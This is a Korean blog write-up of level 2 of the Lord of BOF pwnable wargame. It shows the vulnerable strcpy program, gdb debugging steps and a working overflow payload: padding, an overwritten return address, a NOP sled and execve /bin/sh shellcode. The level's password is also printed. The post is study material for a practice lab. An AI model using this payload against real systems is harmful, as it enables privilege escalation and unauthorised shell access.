Lord of Bof 2번 문제

2017. 7. 7. 12:030x04 pwnable

728x90


gremlin -> cobolt


id : gremlin

pw : hello bof world 


바쁜 사정으로 인해 공부하지 못했던 포너블. 다시 시작한다. 


오늘 풀어본 문제는 cobolt 권한을 얻는 문제이다. 


친절하게 소스코드를 보여주고 있으니 소스코드 부터 들여다 볼 것이다.


/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}



이전 문제보다 확실히 버퍼의 크기가 작아졌다. 


이전 문제에서 사용했던 셸코드를 그래도 이용할 것인데, 셸코드의 바이트 수가 16을 초과한다... ^,^ 



셸코드

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" 


어떻게 하면 될까? 


처음 풀어보는 유형이므로 다른 사람의 블로그를 살짝 들여다보았다. 그 분은 '환경변수'를 만들어서 사용하였다. 하지만, 이상하게 나의 redhat에서는 환경변수 등록이 되지 않았다. 그래도 공부한 것이니 적어보겠다.


<환경변수 등록>

export CONSTANT = `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


이렇게 하면 env 나 echo $CONSTANT 했을 때 환경변수가 보여야 한다고 한다.


그리고 해당 환경변수의 주소를 알아야 한다 (TIP : 환경변수는 스택의 거의 맨 아래쪽에 위치한다) 


getenv(get environment)함수를 이용하면 된다고 한다.


잠시 멘붕이 왔다가, 지난 번에 배운 NOP SLED를 떠올려보았다. 


우선, 아주 간단한 스택 구조를 그려보았다. (그림 진짜 못그림..)

이전 문제의 경우 buf에 셸코드를 넣고 ret영역에서 nop sled를 타고 다시 셸코드에 진입할 수 있도록 세팅을 하였다. 하지만, 상기에서 말했듯이 지금 문제에서는 buf에 셸코드를 넣는건 NEVER ! 불가능하다... 


하지만, 방법은 존재한다.

그것은 바로 ret 영역 뒤에 셸 코드를 삽입 시키는 행위이다. 어라 그러면 스택의 다른 공간도 다 부수지 않나? 라고 생각했었는데 그림을 그려보니 꽤 그럴싸 하였다. 




다음의 시나리오를 실제로 수행해보도록 하자.


gremlin에 접속하고 리스트를 살펴보았다.




디버깅 가능하기 위해 cobolt 바이너리를 gremlin의 권한을 부여 받을 수 있게 gremlin 계정 내 디렉터리를 생성하여 바이너리를 복사하였다. 


cp [복사할 대상] [복사 경로]

cp /gremlin/cobolt /gremlin/sangsu 


sangsu 디렉터리에 cobolt가 복사되었으며, 소유주는 gremlin이다.


이제 디버깅을 진행하자.


디버깅 하기 앞서 


gdb -q ./cobolt

set disassemly-flavor intel 


메인함수 디스어셈블 해서 어셈코드를 구경하자.


취약함수 strcpy가 보인다. 

strcpy에 bp를 걸어서 작업을 시작하면 되겠다. 



아 깜박한것이 있다. buf의 크기는 16이고 ret offset 까지의 크기는 20바이트이다. 

즉 우리는 20바이트를 채우고 그 뒤의 4바이트에서 의도한 변조를 진행하면 되겠다. 

급하게 치다가 bp라고 쳤는데 b *main+48이 맞는 표현이다.  ^^ 


파이썬으로 페이로드를 짜보자.

r `python -c 'print "a"*20'`



lea %eax, [%ebp-18]에 bp를 추가적으로 건다.




ret 주소는 0xbffffc40 이다. 


아래의 그림을 보면 20바이트를 넣었을 때 복귀 주소가 변조되서 segmentation fault가 뜨는것을 알 수 있다. 



20바이트를 추가하였을 때 Segmentation fault 옆에 친절하게 core dumped 라는 경고 메시지 까지 출력하고 있다. 

우리는 core dump 파일을 실행해 본다 


gdb -q -c core 


core dump 파일을 실행하니 0x40030902 에서 오류가 터졌나보다. 



이제 우리는 ret주소에 위의 시나리오 대로 nop sled를 끼어 둘것이다.


다시 원래의 바이너리로 돌아와서 이번엔 a 20개 ret 주소 위치를 알기 쉽게 b 4개 nop sled 200개  + 셸코드 이렇게 해보겠다.


주소가 딱 맞게 4바이트 들어가진 않았지만 상관은 없을 것 같다. 우리는 nop sled를 가지고 놀면 되기 때문에. 17바이트 ~ 20바이트 까지 임의의 nop sled 주소를 넣을 것이다. 



0xbffffb88 너를 사용하겠다.


\x88\xfb\xff\xbf 로 넣어야 한다.


셸은 얻었으나 지금 소유주가 gremlin 이므로 권한 상승은 되지 않는다.

이제 이 페이로드를 실제  소유주 cobolt 에 사용하면 권한 상승으로 비밀번호를 알아낼 수 있다.


[gremlin@localhost sangsu]$ ./cobolt `python -c 'print "a"*20 + "\x88\xfb\xff\xbf" + "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


1번 문제랑 2번 문제랑 버퍼의 크기만 다를 뿐 별 차이가 없는 것 같다. 



3번 풀러가자 !! ^^ 빠이팅 

'0x04 pwnable' 카테고리의 다른 글

rtl 공부  (0) 2017.11.27
Main HEAP and Thread HEAP  (0) 2017.10.30
공부 내용  (0) 2017.10.23
overflow_example  (0) 2017.07.06
Lord Of BOF 1번 문제  (0) 2017.05.12